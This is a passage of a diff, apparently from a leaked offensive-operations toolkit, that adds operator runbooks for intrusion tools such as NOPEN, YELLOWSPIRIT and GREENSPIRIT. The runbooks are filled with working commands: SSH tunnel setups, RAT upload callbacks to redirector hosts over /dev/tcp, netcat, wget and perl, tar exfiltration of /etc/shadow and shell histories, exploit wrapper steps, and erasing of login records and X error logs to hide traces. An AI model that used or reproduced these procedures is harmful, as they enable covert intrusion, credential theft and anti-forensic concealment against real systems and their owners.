MASQUSER@MASQTARGET_IP "/bin/sh" + # or +ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -v -x -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh + # or this eliminates the lack of tty problem +ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -v -x -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 + +### Want tunnels? (for NOPEN, for file transfers....) +### +### Use the following lines to set up an ssh tunnel. The reverse tunnel can be used to pull up a rat, +### while the forward tunnel can be used to connect with noclient. This could be particularly useful +### if SSH is the only access method to the target. Both can be used simultaneously. +### NOTE: the -R commands WILL CREATE BOUND PORTS on target, be careful. +### +## FORWARD TUNNEL OPTION: (use actual target IP unless 127.0.0.1 might blend better) +## -L LOCAL_PORT:TARGET_IP:TARGET_PORT +## REVERSE TUNNEL OPTION: -R REMOTE_PORT:LOCAL_IP:LOCAL_PORT + +# NEW (who knew? apr 2011): With a full tty login (not with /bin/sh), you can get to a ssh command shell +# with the key sequence: CR-CR-~-C (return twice, tilde, capital C). + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +w +id +uname -a +date ; date -u +mount +cd /tmp +mkdir MASQWORKDIR +cd /MASQWORKDIR +pwd +ps -ef +which uudecode uncompress wget perl +uudecode; ls -la + +# LINUX: +# start nopen so you can upload forkpty to be able to su (ptrace didn't work) +-put forkpty f +./f + +# or: +su + +# SEE RAT UPLOADS +:/RAT UPLOAD + +### OR ### +### SSH TUNNEL +### set up a reverse SSH TUNNEL to use with RAT UPLOAD +### or a forward tunnel for noclient connection (or both) + +mx +:%s,MASQTARGET_IP,,g +:%s,MASQTUNNEL_PORT,,g +:%s,MASQUSER,,g +:%s,MASQWORKDIR,/tmp/.scsi,g +:%s,REMOTEONE,REMOTEONE,g +:%s,LOCALONE,LOCALONE,g +:%s,REMOTETWO,REMOTETWO,g +:%s,LOCALTWO,LOCALTWO,g +:%s,TUNRATNAME,TUNRATNAME,g +`x + +### on redirector +-tunnel +l MASQTUNNEL_PORT MASQTARGET_IP 22 + +### LOCAL: + +nc -v -l -p LOCALONE < /current/up/noserver + +### Use the following lines to set up an ssh tunnel. The reverse tunnel can be used to pull up a rat, +### while the forward tunnel can be used to connect with noclient. This could be particularly useful +### if SSH is the only access method to the target. Both can be used simultaneously. +### NOTE: the -R commands WILL CREATE BOUND PORTS on target, be careful. + +ssh -R REMOTEONE:127.0.0.1:LOCALONE -x -v -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh +ssh -L LOCALTWO:127.0.0.1:REMOTETWO -x -v -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh + +#OR, combined: +ssh -R REMOTEONE:127.0.0.1:LOCALONE -L LOCALTWO:127.0.0.1:REMOTETWO -x -v -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh + + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +w +id +uname -a +mount +cd /tmp +mkdir MASQWORKDIR +cd /MASQWORKDIR +pwd +ps -ef +which cat + +/bin/cat < /dev/tcp/127.0.0.1/REMOTEONE > /tmp/.scsi/TUNRATNAME + +# Execute noserver to listen for connection through the SSH tunnel +chmod 700 TUNRATNAME +PATH=. D=-lREMOTETWO TUNRATNAME + +# LOCALLY: +noclient 127.0.0.1:LOCALTWO + +### NOTE: With this technique you will have to rename +### target data from NOPEN-HOSTNAME.127.0.0.1 to +### NOPEN-HOSTNAME.TARGET-IP + + +################################################ +### SSH file pull without NOPEN -- BEGIN +################################################ + + +# Set up with these sub/pastables +# The 127.0.0.1 to 127.0.0.1 session is visible in a netstat -an, and probably: +mx +:%s,SSH_TUNNEL_PORT,random-11111-44444,g +:%s,SSH_USER,root,g +:%s,REV_TUNNEL_IP,127.0.0.1,g +:%s,HOST.TARGET_IP,HOST.TARGET_IP,g +`x + +# SSH tunneling (see also ug and of course man ssh) +# NOTE: Requires sshd_config on target to allow you to do this, most do +ssh -v -p 2202 -RSSH_TUNNEL_PORT:REV_TUNNEL_IP:SSH_TUNNEL_PORT SSH_USER@127.0.0.1 BIN_SH + +# tar to the ssh tunnel example: +# tar cjf - /etc/passwd /etc/shadow /home/*/.*history /var/*/*{messages,syslog,secure,audit} > /dev/tcp/REV_TUNNEL_IP/SSH_TUNNEL_PORT + + +# Local Helper Scripts + +# Local loop, listens then extracts next incoming tar content on SSH_TUNNEL_PORT +# NOTE: You need to be in right down/HOST.TARGET_IP: +mkdir /current/down/HOST.TARGET_IP/ ; cd /current/down/HOST.TARGET_IP/ +while [ 1 ] ; do date ; echo listening... ; nc -l -vv -p SSH_TUNNEL_PORT | tar -xvjf - || break ; done + + + + +# LOCAL shell-fu: PASTE ALL THIS IN AT ONCE +# Run this locally, feed it (via middle-click pastes) either full remote files/paths +# or any line that terminates in a full path, +# or any line containing a local full path filename containing such a listing +# PRODUCES: pastable tar command to run on target +while [ 1 ] ; do unset a b ; echo Paste in target files/paths or local filename containing list of same \; + echo Hit return to exit ; read a ; \ + [ "$a" ] || break ; a=`echo "$a" | sed "s,.* /,/,g"` ; \ + if [ -e "$a" ] ; then \ + export b=`sed "s,.* /, /,g" "$a" | egrep "^\s*/"` ; \ + fi ; \ + echo "$a" | egrep -q "^\s*/" || echo -e "\n\n\n\aINVALID INPUT\a\n\n\n" + echo "$a" | egrep -q "^\s*/" && echo -e "\n\n\ntar cjf - `echo $a` | nc -v 127.0.0.1 23477 &\n\n\n" ; \ + [ "$b" ] && \ + echo -e "\nOR USE THIS if you want files listed in this LOCAL FILE:\n`ls -al $a`\n" && \ + echo -e "\ntar cjf - `echo $b` | nc -v 127.0.0.1 23477 &\n\n" ; \ +done +################################################ +### SSH file pull without NOPEN -- END +################################################ + + +### END MASQ ### + + + +####################### +# RAT UPLOAD METHODS # +####################### + +---------------------------------------- + +# vi pastables +# RATPAYLOAD - NOPEN filename (without /current/up/) +# RATIP - Redirector IP +# RATPORT - Redirector PORT +# RATNAME - Filename to call NOPEN (normally sendmail) + +:%s,UPWORKDIR,,g +:%s,RATPAYLOAD,,g +:%s,RATIP,,g +:%s,RATPORT,,g +:%s,RATNAME,,g +:%s,NOPENOPTS,,g +:%s,UPTARGET_IP,,g + +# Defaults (sendmail and noserver-linux) +:%s,UPWORKDIR,/tmp/.scsi,g +:%s,RATNAME,sendmail,g +:%s,NOPENOPTS,-l32754,g +:%s,RATPAYLOAD,noserver-sparc,g +:%s,RATPAYLOAD,noserver-linux,g +---------------------------------------- + +# SHELL +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +date; date -u +w; id; pwd +mkdir /UPWORKDIR; cd /UPWORKDIR; pwd +---------------------------------------- + +# Determine available upload methods +# Solaris +type wget nc +type uudecode uncompress +type ksh bash telnet +type perl + +# Linux (which tends to work better than type) +which wget nc +which uudecode uncompress +which ksh bash telnet +which perl +---------------------------------------- + +# NOPEN -upload (automated netcat listener and redirect) +Local: +cd /current/up +cp /current/up/RATPAYLOAD RATNAME +# compress RATNAME +# uuencode RATNAME.Z RATNAME.Z > RATNAME.Z.uu + +Redirector (RATIP): +-upload /current/up/RATNAME RATPORT +# -upload /current/up/RATNAME.Z.uu RATPORT +---------------------------------------- + +# /dev/tcp (-upload compatible) +Local: +nc -l -v -p RATPORT < /current/up/RATPAYLOAD +(Probably will have to Ctrl-C once upload is finished) + +Redirector (RATIP): +-tunnel +r RATPORT + +Target (linux - bash shell): +bash -c 'cat < /dev/tcp/RATIP/RATPORT > RATNAME'; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME + +Target (solaris - ksh shell): +ksh -c 'cat < /dev/tcp/RATIP/RATPORT > RATNAME'; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# netcat (-upload compatible) +Local: +nc -l -v -p RATPORT < /current/up/RATPAYLOAD +(Probably will have to Ctrl-C once upload is finished) + +Redirector (RATIP): +-tunnel +r RATPORT + +Target: +nc RATIP RATPORT > RATNAME; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# wget +Local: +cd /current/up +echo -e 'HTTP/1.0 200\n' > RATNAME +cat /current/up/RATPAYLOAD >> RATNAME +nc -l -v -p RATPORT < RATNAME + +Local (Packrat style): +packrat -w RATNAME /current/up/RATPAYLOAD RATPORT + +Redirector (RATIP): +-tunnel +r RATPORT + +Target: +wget http://RATIP:RATPORT/RATNAME; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# uudecode.pastable +Local: +uudecode.pastable -s /current/up/RATPAYLOAD RATNAME + +Target: +# Paste the blue from uudecode.pastable +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# uudecode +Local: +cd /current/up +cp /current/up/RATPAYLOAD RATNAME +compress RATNAME +uuencode RATNAME.Z RATNAME.Z > RATNAME.Z.uu + +Remote: +# gedit RATNAME.Z.uu +# -- paste contents of gedit +uudecode; ls -latr +uncompress RATNAME.Z +ls -la +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# Perl Callback (-upload compatible) +Local: +nc -l -v -p RATPORT < /current/up/RATPAYLOAD + +Redirector: +-tunnel +r RATPORT + +Remote: +perl -MIO -e 'close(STDIN);$c=IO::Socket::INET->new("RATIP:RATPORT")or exit1;binmode($c);open(O,">RATNAME")or exit 1;binmode(O);select O;$|=1; print O while (<$c>);close(STDOUT);close($c);unlink("RATNAME") unless (-s "RATNAME");' +---------------------------------------- + +# Perl Listen +Remote: +perl -MIO -e '$s=new IO::Socket::INET(LocalPort,RATPORT,Reuse,1,Listen,10) or exit 1; $c=$s->accept() or exit 1;open(O,">RATNAME")or exit 1;select O;$|=1;print O while <$c>;close(O);close($c);unlink("RATNAME") unless (-s "RATNAME");' + +Redirector: +-tunnel +l RATPORT UPTARGET_IP + +Local: +nc -vv 127.0.0.1 RATPORT < /current/up/RATPAYLOAD +---------------------------------------- + +# telnet (-upload compatible) +Local: +cd /current/up +cp /current/up/RATPAYLOAD RATNAME +compress RATNAME +uuencode RATNAME.Z RATNAME.Z > RATNAME.Z.uu +nc -l -v -p RATPORT < /current/up/RATNAME.Z.uu + +Redirector: +-tunnel +r RATPORT + +Remote: +telnet RATIP RATPORT < /dev/console | uudecode && uncompress RATNAME.Z && chmod 700 RATNAME && ls -latr +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +### ADDITIONAL RAT UPLOAD METHODS ### + +---------------------------------------- +# alternate perl method + +mx +:%s,TARGET_IP,TARGET_IP,g +:%s,RHP,RHP,g +:%s,PERLCALLBACKIP,PERLCALLBACKIP,g +:%s,PERLRANDOMPORT,PERLRANDOMPORT,g +:%s,PERLNAME,PERLNAME,g +'x + +### CALLING BACK FROM TARGET +# ON TARGET +perl -MIO -e 'close(STDIN);$c=IO::Socket::INET->new("PERLCALLBACKIP:PERLRANDOMPORT")or exit1; +binmode($c);open(O,">PERLNAME")or exit 1;binmode(O);select O;$|=1; print O while (<$c>); +close(STDOUT);close($c);unlink("PERLNAME") unless (-s "PERLNAME");' + + +### LISTENING on target +# ON TARGET +perl -MIO -e '$s=new IO::Socket::INET(LocalPort,PERLRANDOMPORT,Reuse,1,Listen,10) or exit 1; +$c=$s->accept() or exit 1;open(O,">PERLNAME")or exit 1;select O;$|=1;print O while <$c>; +close(O);close($c);unlink("PERLNAME") unless (-s "PERLNAME");' + + +### EXAMPLE as argument to -V"" option in ourtn/-irtun: + +[[ourtn]] -r PERLRATNAME -eY5 -V"perl -MIO -e 'open(O,\">PERLRATNAME\")or exit 1; +close(STDIN);\$c=IO::Socket::INET->new(\"PERLCALLBACKIP:PERLCALLBACKPORT\"); +binmode(\$c);binmode(O); print O while (<\$c>);close(STDOUT);close(\$c)'" TARGET_IP + +-[[irtun]] TARGET_IP RHP -r PERLRATNAME -eY5 -V"perl -MIO -e 'open(O,\\">PERLRATNAME\\")or exit 1; +close(STDIN);\\$c=IO::Socket::INET->new(\\"PERLCALLBACKIP:PERLCALLBACKPORT\\");binmode(\\$c); +binmode(O); print O while (<\\$c>);close(STDOUT);close(\\$c)'" + +---------------------------------------- +# SSL Encrypted wget + + +mx +:%s,RAT_LOCALPATH,/current/up/noserver,g +:%s,RAT_NAME,crond,g +:%s,RATUP_CBIP,RAT_CBIP,g +:%s,RATUP_CBPORT,443,g +`x + +# This is codified as a pasteable: +wget.pasteable -l RATUP_CPIP -p RATUP_CBPORT -r RAT_LOCALPATH -R RAT_NAME + +# Want to do it manually instead of through the pasteable? Use the +# commands provided below: +# Locally +mkdir /current/tmp/up ; cd /current/tmp/up ; cp RAT_LOCALPATH RAT_NAME +openssl req -nodes -x509 -newkey rsa:2048 -days 1 -out cert.pem -keyout key.pem -batch +openssl s_server -accept RATUP_CBPORT -key key.pem -cert cert.pem -WWW + +# Grab the file +wget --no-check-certificate --no-verbose --secure-protocol=TLSv1 https://RATUP_CBIP:RATUP_CBPORT/RAT_NAME + +# SSL Encrypted GET (lwp) +# Follow same local steps above, but if wget is not installed, try: +GET https://RATUP_CBIP:RATUP_CBPORT/RAT_NAME > RAT_NAME + +---------------------------------------- +# SSH Control Socket + +mx +:%s,TARGETIP,TARGETIP,g +:%s,REDIRIP,REDIRIP,g +:%s,LOCALPORT,LOCALPORT,g +:%s,WORKINGDIR,/tmp/,g +:%s,LOCALRAT,noserver,g +:%s,RATNAME,RATNAME,g + +# Redirection + +### UNIX +-tunnel +l LOCALPORT TARGETIP 22 + +### WINDOWS +redirect -ip -target TARGETIP 22 -lplisten LOCALPORT + +# Original Masquerade: +ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -v -x -S /tmp/s -M -p 2022 root@127.0.0.1 /bin/sh + +Upload via cat: +cat /current/up/LOCALRAT | ssh -S /tmp/s root@127.0.0.1 'cat > /WORKINGDIR/RATNAME' + +Upload via scp: +scp -P 2022 -o "ControlPath /tmp/s" /current/up/LOCALRAT root@127.0.0.1:/WORKINGDIR/RATNAME + +---------------------------------------- + +### END RAT ### + + + +####################### +# CLEANING # +####################### + +mx +:%s,WORKDIR,/tmp/.scsi/g +'x + +### OLD TOAST ### + +### Target window +-put /current/up/OLD.toasts/toast /WORKDIR/t + +### TO VIEW... +./t -u /var/adm/utmp +./t -u /var/adm/wtmp | tail -20 +./t -x /var/adm/utmpx +./t -x /var/adm/wtmpx | tail -20 +./t -l /var/adm/lastlog | tail + +### TO ZAP... +./t -u /var/adm/utmp tty date +./t -u /var/adm/wtmp tty date +./t -x /var/adm/utmpx tty date +./t -x /var/adm/wtmpx tty date +./t -l /var/adm/lastlog /var/adm/wtmpx user + +### Remove toast... +-rm t + +### LOW-CARB DIET? (NO TOAST AVAILABLE?) LOCALLY EDIT WITH khexedit OR vi in hex mode: +:%!xxd + +### NEW TOAST ### + +### Target window +-put /current/up/toast/toast /WORKDIR/t + +### TO VIEW... +./t -u /var/adm/utmp +./t -u /var/adm/utmp -n NUMENTRIES +./t -u /var/adm/wtmp +./t -u /var/adm/wtmp -n NUMENTRIES +./t -x /var/adm/utmpx +./t -x /var/adm/utmpx -n NUMENTRIES +./t -x /var/adm/wtmpx +./t -x /var/adm/wtmpx -n NUMENTRIES +./t -l /var/adm/lastlog + +### TO ZAP... +./t -u /var/adm/utmp -t tty:time +./t -x /var/adm/utmpx -t tty:time +./t -u /var/adm/wtmp -t tty:time +./t -x /var/adm/wtmpx -t tty:time +./t -l /var/adm/lastlog -w /var/adm/wtmp[x] -r USER + +##################### +# -shell # +##################### +################################################################## +## Using NOPEN to start something with clean file descriptors +## using -shell then exec to close file descriptors. +## +## Two examples, one for noserver, one for other standalones. +################################################################## + + +# This can be useful after exploits, too--if our NOPEN inherits a +# legit port from the exploit (say 161), then we install, we have just +# hidden our target's snmpd. Not good. + +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- +# We want only 0 1 and 2 left, ideally +ls -al /proc/$$/fd +# Try cleaning any over 9, but you often lose your -shell when you do so. +# Look for a window you have with just fd's under 10. +cp /proc/$$/exe sendmail || cp /proc/$$/object/a.out sendmail +PATH=. D=-ulrandom14444-55555 sendmail +# OR: PATH=. D=-ucREDIR_IP:random14444-55555 sendmail +netstat -antp | grep sendmail || netstat -an | grep sendmail +ps -ef | grep sendmail$ +rm sendmail +exit + +# Used when deploying standalones (DD, SBZ), it helps avoid their +# children having the NOPEN ports inherited in CLOSE_WAIT state. + +-put /current/up/STANDALONETODEPLOY ./RAN_AS +-addpath . +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- +# We want only 0 1 and 2 left, ideally +ls -al /proc/$$/fd +# Try cleaning any over 9, but you often lose your -shell when you do so. +# Look for a window you have with just fd's under 10. +which RAN_AS +RAN_AS FAKE_ARGS_IF_ANY & +echo $? +rm RAN_AS +exit + diff --git a/Linux/doc/user.mission.generic.COMMON.old b/Linux/doc/user.mission.generic.COMMON.old new file mode 100644 index 0000000..8c45526 --- /dev/null +++ b/Linux/doc/user.mission.generic.COMMON.old @@ -0,0 +1,1284 @@ +################################## +# user.mission.CORE # +# Core Unix Tools and Methods # +# v1.4 - 20120131 # +################################## + +#Includes: +# YS, GS, EASY, BL, EBB, MASQ +# RAT Upload +# Cleaning +:/YELLOWSPIRIT +:/YS DAIRYFARM +:/GREENSPIRIT +:/EASYSTREET +:/BOSSLADD +:/EBBSHAVE +:/SSH MASQ +:/SSH file pull +:/RAT UPLOAD +:/CLEANING +:/-shell + +####################### +# YS - YELLOWSPIRIT # +####################### + +### New way: + +Usage: ys.auto -i TARGETIP [options] + +-i IP IP of target machine (NO DEFAULT) +-R IP Actual target IP when redirecting via 127.0.0.1 (in case IP + the -scan reported is wrong in -sploit mode) +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: 3 seconds) +-z Do NOT use uncomrpess at the either end +-e Do NOT use "2>&1" on target. Fouls up in some shells. +-U Do NOT pipe to uudecode, instead create a .uu file. +-r rat name of rat on target (Default: sendmail) +-x # port to start mini X server on (Default: random port) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + "ls -1 ./noserver* 2>/dev/null | grep -i ${ARCH} | tail -1". + If not provided or no match, /current/up/noserver is assumed. + +NOTE: -n# and -p# can be the same, even in callback mode. ys.auto provides + a mechanism to allow netcat callback to finish, and its -tunnel to + close (if redirecting) before the NOPEN server calls back on the + same port. + +examples: + ys.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -D /tmp/.dir + ys.auto -i 10.0.3.1 + ys.auto -i TARGET_IP -l REDIRECTOR_IP + +NOTE: The only REQUIRED ARGUMENT is now -i + +The best way to back out of ys.auto once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. Then +kill of the xc window the same way, finally kill the ys.auto. + +ys.auto Version 1.4.3.1 + + +### Old Way: + +mx +:%s/YSXSERVER_PORT//g +:%s/YSNETCAT_PORT//g +:%s/YSREDIR_IP//g +:%s/YSTARGET_IP//g +:%s/YSWORK_DIR//g +:%s/YSRAT//g +`x + +-scan xwin YSTARGET_IP + +### Locally: +packrat YSNETCAT_PORT + +################################################## +###### YS With REDIRECTION: +################################################## +###### 1. On redirector - set up nopen tunnel + +-tunnel +u 177 YSTARGET_IP +r YSXSERVER_PORT +r YSNETCAT_PORT +s + + +###### 2. Local window1 +#./wrap-sun.sh -l 555.41.145.11 -r sendmail -p 24389 -x 39942 -d /tmp/.scsi +#./wrap-sun.sh -l REDIR-IP -r sendmail -p NETCAT-PORT -x YSXSERVER-PORT -d /tmp/WORK-DIR +./wrap-sun.sh -l YSREDIR_IP -r YSRAT -p YSNETCAT_PORT -x YSXSERVER_PORT -d /tmp/YSWORK_DIR + + # hit return + # type y and hit return + + +###### 3. Local Window2: + # for redirection local ip is redirector ip + +#./xc -x REDIR-IP -y YSXSERVER-PORT -s REDIR-IP 127.0.0.1 +#./xc -x 555.41.145.11 -y 39942 -s 555.41.145.11 127.0.0.1 +./xc -x YSREDIR_IP -y YSXSERVER_PORT -s YSREDIR_IP 127.0.0.1 + + # hit return + # hit return + # hit return + # (At this point you should see a continue.... in your attack1 window + + # in the attack1 window + # hit return + # hit return + # hit return + + # (you should see your upload happen...) + +### IF Exploit is successful +# DOING THE FOLLOWING WILL GREATLY REDUCE POSSIBLE LOGGING. +# ONLY HIT CONTINUE, IN THE MINI X SERVER WINDOW, ENOUGH +# TIMES TO GET THE RAT FULLY UPLOADED. +# WATCH TCPDUMP OUTPUT TO DETERMINE WHEN RAT IS UPLOADED. +# ONCE THE RAT IS UPLOADED, CONNECT +# TO THE TARGET VIA THE RAT AND DO THE FOLLOWING: + +ps -ef | grep dtlogin +kill PID + +# IF YOU SELECTED THE CORRECT dtlogin PID, THEN YOU SHOULD SEE A +# "connection closed" MESSAGE IN YOUR MINI X SERVER WINDOW. IF +# NOT, YOU SELECTED THE WRONG PID AND JUST KILLED SOMEBODY ELSE'S +# dtlogin. IF ALL GOES WELL, HIT control ^C IN THE MINI X SERVER +# WINDOW AND THE XC WINDOW. + + + # Ctrl-C your nc window + # Ctrl-C your xc window +### IF IT WORKS, JUMP: +:/Connect to RAT + +################################################## +###### YS with Double telnet / doublet method: +################################################## +mx +:%s/YSRPORT1//g +:%s/YSRPORT2//g +`x + +### Redir +-tunnel +u 177 YSTARGET_IP +r YSXSERVER_PORT +r YSRPORT1 +r YSRPORT2 +r YSNETCAT_PORT + + +### Local scripted (you'll type commands in this): +#nc -l -p R-PORT1 +#nc -l -p YSRPORT1 + +###Local scripted (your output from above will appear here): +#nc -l -p R-PORT2 +#nc -l -p YSRPORT2 + +### OR -- instead, use doublet in a scripted window (type and output all in same window): +#doublet -O -t -i REDIR_IP R-PORT1 +doublet -O -t -i YSREDIR_IP YSRPORT1 YSRPORT2 + +### then set up the tunnels as below, and use wrap-telnet.sh and xc + +### Scripted #1 +wrap-telnet.sh -l YSREDIR_IP -p YSRPORT1 -s YSRPORT2 -x YSXSERVER_PORT + +### Scripted #2 +xc -x YSREDIR_IP -y YSXSERVER_PORT -s YSREDIR_IP 127.0.0.1 + +### Connect to RAT ### +#w/o tunneling +cd ../down +../bin/noclient YSTARGET_IP + +#w/ tunneling. In redirector window +-nstun YSTARGET_IP + +-rm YSRAT + +# JUMP TO CLEAN: +:/Cleaning up + +################################################## +###### YS DAIRYFARM METHOD (Windows redirect): +################################################## +mx +:%s/DFWINDOWS_REDIR_IP//g +:%s/DFTARGET_IP//g +:%s/DFLINUX_OP_BOX_IP//g +:%s/DFWINDOWS_OP_BOX_IP//g +:%s/DFCONTROL_PORT//g +:%s/DFXSERV_PORT//g +:%s/DFNETCAT_PORT//g +:%s/DFNOPEN_PORT//g +:%s/DFRAT//g +:%s/DFWORK_DIR//g +`x + +### Follow steps in this order: +### 1) on linux box, start dairyfarm client: + +#./df_client CONTROL-PORT 127.0.0.1:DFXSERV-PORT +./df_client DFCONTROL_PORT 127.0.0.1:DFXSERV_PORT + +### 2) on windows redir, set up tunnels: +### the next line replaces the normal tunnel to call back to the xserver port +### and references the df control port instead +#background redirect -tcp -implantlisten CONTROL-PORT -target LINUX-OP-BOX CONTROL-PORT -nodes 40 +background redirect -tcp -implantlisten DFCONTROL_PORT -target DFLINUX_OP_BOX_IP DFCONTROL_PORT -nodes 40 + +### to udp 177 +#background redirect -udp -lplisten 177 -target TARGET-IP 177 -maxpacketsize 32000 +background redirect -udp -lplisten 177 -target DFTARGET_IP 177 -maxpacketsize 32000 + +### callback for netcat upload +#background redirect -tcp -implantlisten NETCAT-PORT -target LINUX-OPS-BOX NETCAT-PORT -nodes 40 +background redirect -tcp -implantlisten DFNETCAT_PORT -target DFLINUX_OP_BOX_IP DFNETCAT_PORT -nodes 40 + +### callforward to nopen +#background redirect -tcp -lplisten NOPEN-PORT -target UNIX-TARGET-IP NOPEN-PORT +background redirect -tcp -lplisten DFNOPEN_PORT -target DFTARGET_IP DFNOPEN_PORT -bind DFWINDOWS_OP_BOX_IP + +### 3) on windows redir, upload dairyfarm.exe as something obscure (help16.exe) and start: + +put D:\OPSDisk\Tools\dairyserver.exe -name help16.exe +matchtimes help.exe help16.exe + +#background run -command "help16.exe DFXSERV-PORT 127.0.0.1:CONTROL-PORT" +background run -command "help16.exe DFXSERV_PORT 127.0.0.1:DFCONTROL_PORT" + +### 4) on linux, set up to launch YS, using appropriate wrap script: + +cd /current/up +file noserver +# cp appropriate noserver from morerats to /current/up +# Need to noprep it? Different listener port (default is 32754) +#noprep noserver -lNOPEN_PORT +noprep noserver -lDFNOPEN_PORT + +#packrat RAT_NAME /current/up/noserver.new NETCAT-PORT +packrat DFRAT /current/up/noserver.new DFNETCAT_PORT + +#./wrap-sun.sh -l WIN-TARGET-IP -r RAT_NAME -p NETCAT-PORT -x DFXSERV-PORT -d TMP_DIR +./wrap-sun.sh -l DFWINDOWS_REDIR_IP -r DFRAT -p DFNETCAT_PORT -x DFXSERVER_PORT -d /tmp/DFWORK_DIR + +#./xc -x WIN-TARGET-IP -y DFXSERV-PORT -s WIN-TARGET-IP WINDOWS-OP-BOX +./xc -x DFWINDOWS_REDIR_IP -y DFXSERV_PORT -s DFWINDOWS_REDIR_IP DFWINDOWS_OP_BOX_IP + +### 5) connect to nopen AFTER you control-c the netcat window: + +#noclient 192.168.254.72:32754 +noclient DFWINDOWS_OP_BOX_IP:DFNOPEN_PORT + +### 6) on linux, control-C the df_client window +### 7) on windows, the dairyfarm.exe (renamed as help16.exe or whatever) should +### go away from the process listing; You can now remove it from the target. + +-rm DFRAT + + +################################################## +######### YS With no redirection: ALMOST NEVER USED LAB ONLY +################################################## +### only fill in YSLOCAL_IP if NOT using redirection +:%s/YSLOCAL_IP//g + +### Local Window 1: +#./wrap-sun.sh -l LOCAL-IP -r sendmail -p NETCAT-PORT -x YSXSERVER-PORT -d /tmp/WORK-DIR +./wrap-sun.sh -l YSLOCAL_IP -r YSRAT -p YSNETCAT_PORT -x YSXSERVER_PORT -d /tmp/YSWORK_DIR + +### Local Window 2: +#./xc -x LOCAL-IP -y YSXSERVER-PORT -s LOCAL-IP TARGET-IP +./xc -x YSLOCAL_IP -y YSXSERVER_PORT -s YSLOCAL_IP YSTARGET_IP + + + + +###### Cleaning up ###### +### The error log file is configurable and so you must examine +### their xdm-config file to find out where errors are being +### logged. +### +### HAVE TO LOOK THROUGH "find" file from getscript + +egrep -i '(xdm-config|errors|xerror)' /current/*find*m + +### if no find available one of these will probably find it + +-ls /tmp/*errors /var/dt/*errors +-cat error_file + +-grep YSREDIR_IP /var/adm/syslog /var/log/syslog /var/adm/messages + +-lt /var/dt/ + +### you will notice Xerrors is the most recent + +-tail /var/dt/Xerrors + +### if your entries are the only ones there.... + +cat /dev/null >/var/dt/Xerrors + +### if there are other entries you will do something like + +wc -l /var/dt/Xerrors + +### subtract the number of lines that are because of you from above + +head -(what's left) > t ; cat t + +### if it looks good: + +cat t > /var/dt/Xerrors +-cat /var/dt/Xerrors +-rm t + +-ls -t /var/adm +### anything that has a reasonably current timestamp you should check + +### Toasting the login entries... +### Use toast to clean utmp[x], wtmp[x], lastlog + +### jump to cleaning section... + +:/TOAST + +### END YS ### + + + +####################### +# GS - GREENSPIRIT # +####################### + +gs.auto +Usage: gs.auto -i [ options ] + +-i IP IP of target machine (NO DEFAULT) +-g opt Change default GS option from ./ to "./opt" + (can be grins, frowns or sneer). +-C str Change default community string from public to "str". +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: 0 seconds). Callback is to -l IP. +-k Use ksh method instead of telnet/uu*code. +-z Do NOT use uncomrpess at the either end +-r rat name of rat on target (Default: sendmail) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + "ls -1 ./noserver* 2>/dev/null | grep -i | tail -1". + If not provided or no match, /current/up/noserver is assumed. +-G Retry exploit--using already uploaded RAT (useful when you need + to try adding -P option or try another RAT callback port). + +examples: + gs.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -D /tmp/.dir + gs.auto -i 10.0.3.1 + gs.auto -i TARGET_IP -l REDIRECTOR_IP + +NOTE: The only REQUIRED ARGUMENT is now -i + +The best way to back out of gs.auto once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. + +gs.auto Version 1.6.1.1 + + +### Or the old way: + +# Use sneer(2.6) or frowns(2.7+) +gs.os.gr + +Using -c option requires local nosy or nopen client command as follows: + noxxxx -l +You'll be prompted when to start it. + +Usage: /current/bin/gs.os.gr [options] + -i (required) + -g def= frowns + -l (required) + -n (required) + -c (no default) + -D def= /tmp/.X11R6 + -f def= nscd + -E (no default) + -A (no default) + -S DEPRECATED (and ignored) + -s DEPRECATED (and ignored) + +mx +:%s/GSTARGET_IP//g +:%s/GSPORT//g +:%s/GSNETCAT_PORT//g +:%s/GSREDIR_IP//g 